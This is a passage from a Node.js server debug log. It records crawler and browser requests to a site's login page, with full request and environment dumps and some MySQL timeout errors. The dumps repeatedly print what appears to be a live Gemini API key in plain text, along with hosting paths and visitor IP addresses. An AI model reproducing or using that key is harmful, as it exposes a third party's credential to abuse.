    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'accept-language': 'en',
    'user-agent': 'Scrapy/2.13.4 (+https://scrapy.org)',
    'accept-encoding': 'gzip',
    host: 'ems.sanjaychaurasia.xyz',
    'x-forwarded-for': '35.204.145.47',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-15T04:27:05.389Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '35.204.145.47',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    HTTP_ACCEPT_LANGUAGE: 'en',
    HTTP_USER_AGENT: 'Scrapy/2.13.4 (+https://scrapy.org)',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-FOR': '35.204.145.47',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2025-12-14T04:27:06.025Z server-connect:router Serving templateView /
2025-12-14T04:27:06.026Z server-connect:app Executing action step identify
2025-12-14T04:27:06.026Z server-connect:app options: { provider: 'security' }
2025-12-14T04:27:06.026Z server-connect:auth No login cookie found
2025-12-14T04:27:06.026Z server-connect:output identity: false
2025-12-14T04:27:06.026Z server-connect:app Executing action step restrict
2025-12-14T04:27:06.026Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-14T04:27:06.026Z server-connect:output restrict: undefined
2025-12-14T04:27:06.066Z server-connect:router Serving templateView /login
2025-12-14T04:27:06.066Z server-connect:app Executing action step identify
2025-12-14T04:27:06.066Z server-connect:app options: { provider: 'security' }
2025-12-14T04:27:06.066Z server-connect:auth No login cookie found
2025-12-14T04:27:06.066Z server-connect:output identity: false
2025-12-14T04:27:06.066Z server-connect:router Render template layouts/authentication
2025-12-14T04:27:06.066Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'accept-language': 'en',
    'user-agent': 'Scrapy/2.13.4 (+https://scrapy.org)',
    'accept-encoding': 'gzip',
    host: 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-for': '34.141.176.7',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-15T04:27:06.066Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '34.141.176.7',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    HTTP_ACCEPT_LANGUAGE: 'en',
    HTTP_USER_AGENT: 'Scrapy/2.13.4 (+https://scrapy.org)',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-FOR': '34.141.176.7',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2025-12-14T06:39:04.596Z server-connect:router Serving templateView /
2025-12-14T06:39:05.259Z server-connect:app Executing action step identify
2025-12-14T06:39:05.259Z server-connect:app options: { provider: 'security' }
2025-12-14T06:39:05.262Z server-connect:auth No login cookie found
2025-12-14T06:39:05.262Z server-connect:output identity: false
2025-12-14T06:39:05.262Z server-connect:app Executing action step restrict
2025-12-14T06:39:05.262Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-14T06:39:05.263Z server-connect:output restrict: undefined
2025-12-14T06:39:06.492Z server-connect:router Serving templateView /login
2025-12-14T06:39:06.493Z server-connect:app Executing action step identify
2025-12-14T06:39:06.493Z server-connect:app options: { provider: 'security' }
2025-12-14T06:39:06.493Z server-connect:auth No login cookie found
2025-12-14T06:39:06.493Z server-connect:output identity: false
2025-12-14T06:39:06.493Z server-connect:router Render template layouts/authentication
2025-12-14T06:39:06.493Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    referer: 'http://ems.sanjaychaurasia.xyz',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '34.77.79.94',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-15T06:39:06.492Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: false,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '34.77.79.94',
    REQUEST_PROTOCOL: 'http',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'http://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (compatible; CMS-Checker/1.0; +https://example.com)',
    HTTP_REFERER: 'http://ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '34.77.79.94',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-14 07:02:42' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-14 07:02:42' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-14 07:04:42' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-14 07:04:42' as DATETIME)"
}
2025-12-14T07:35:39.891Z server-connect:router Serving templateView /
2025-12-14T07:35:39.893Z server-connect:app Executing action step identify
2025-12-14T07:35:39.893Z server-connect:app options: { provider: 'security' }
2025-12-14T07:35:39.893Z server-connect:auth No login cookie found
2025-12-14T07:35:39.893Z server-connect:output identity: false
2025-12-14T07:35:39.893Z server-connect:app Executing action step restrict
2025-12-14T07:35:39.894Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-14T07:35:39.895Z server-connect:output restrict: undefined
2025-12-14T07:35:40.241Z server-connect:router Serving templateView /login
2025-12-14T07:35:40.241Z server-connect:app Executing action step identify
2025-12-14T07:35:40.241Z server-connect:app options: { provider: 'security' }
2025-12-14T07:35:40.241Z server-connect:auth No login cookie found
2025-12-14T07:35:40.241Z server-connect:output identity: false
2025-12-14T07:35:40.241Z server-connect:router Render template layouts/authentication
2025-12-14T07:35:40.242Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    connection: 'keep-alive',
    'sec-ch-ua': '"Google Chrome";v="142", "Not-A.Brand";v="8", "Chromium";v="142"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Linux"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
    'sec-gpc': '1',
    'accept-language': 'en-US,en;q=0.5',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '161.35.234.184',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-15T07:35:40.241Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: false,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '161.35.234.184',
    REQUEST_PROTOCOL: 'http',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'http://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="142", "Not-A.Brand";v="8", "Chromium";v="142"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Linux"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
    HTTP_SEC_GPC: '1',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.5',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '161.35.234.184',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz'
  },
  identity: false,
  content: '/login'
}
2025-12-14T07:35:41.887Z server-connect:router Serving templateView /
2025-12-14T07:35:41.887Z server-connect:app Executing action step identify
2025-12-14T07:35:41.887Z server-connect:app options: { provider: 'security' }
2025-12-14T07:35:41.887Z server-connect:auth No login cookie found
2025-12-14T07:35:41.887Z server-connect:output identity: false
2025-12-14T07:35:41.887Z server-connect:app Executing action step restrict
2025-12-14T07:35:41.887Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-14T07:35:41.888Z server-connect:output restrict: undefined
2025-12-14T07:35:46.693Z server-connect:router Serving templateView /login
2025-12-14T07:35:46.693Z server-connect:app Executing action step identify
2025-12-14T07:35:46.693Z server-connect:app options: { provider: 'security' }
2025-12-14T07:35:46.693Z server-connect:auth No login cookie found
2025-12-14T07:35:46.693Z server-connect:output identity: false
2025-12-14T07:35:46.694Z server-connect:router Render template layouts/authentication
2025-12-14T07:35:46.694Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    connection: 'keep-alive',
    'sec-ch-ua': '"Chromium";v="142", "Not:A-Brand";v="24", "Brave";v="142"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Linux"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
    'sec-gpc': '1',
    'accept-language': 'en-US,en;q=0.5',
    'sec-fetch-site': 'none',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '161.35.234.184',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-15T07:35:46.693Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '161.35.234.184',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_SEC_CH-UA': '"Chromium";v="142", "Not:A-Brand";v="24", "Brave";v="142"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Linux"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8',
    HTTP_SEC_GPC: '1',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.5',
    'HTTP_SEC_FETCH-SITE': 'none',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '161.35.234.184',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2025-12-14T07:58:57.409Z server-connect:router Serving templateView /
2025-12-14T07:58:57.410Z server-connect:app Executing action step identify
2025-12-14T07:58:57.410Z server-connect:app options: { provider: 'security' }
2025-12-14T07:58:57.411Z server-connect:auth No login cookie found
2025-12-14T07:58:57.411Z server-connect:output identity: false
2025-12-14T07:58:57.411Z server-connect:app Executing action step restrict
2025-12-14T07:58:57.411Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-14T07:58:57.491Z server-connect:output restrict: undefined
2025-12-14T07:58:57.716Z server-connect:router Serving templateView /login
2025-12-14T07:58:57.755Z server-connect:app Executing action step identify
2025-12-14T07:58:57.755Z server-connect:app options: { provider: 'security' }
2025-12-14T07:58:57.756Z server-connect:auth No login cookie found
2025-12-14T07:58:57.756Z server-connect:output identity: false
2025-12-14T07:58:57.756Z server-connect:router Render template layouts/authentication
2025-12-14T07:58:57.756Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'cross-site',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=0, i',
    'x-forwarded-for': '157.48.246.94',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-15T07:58:57.715Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '157.48.246.94',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
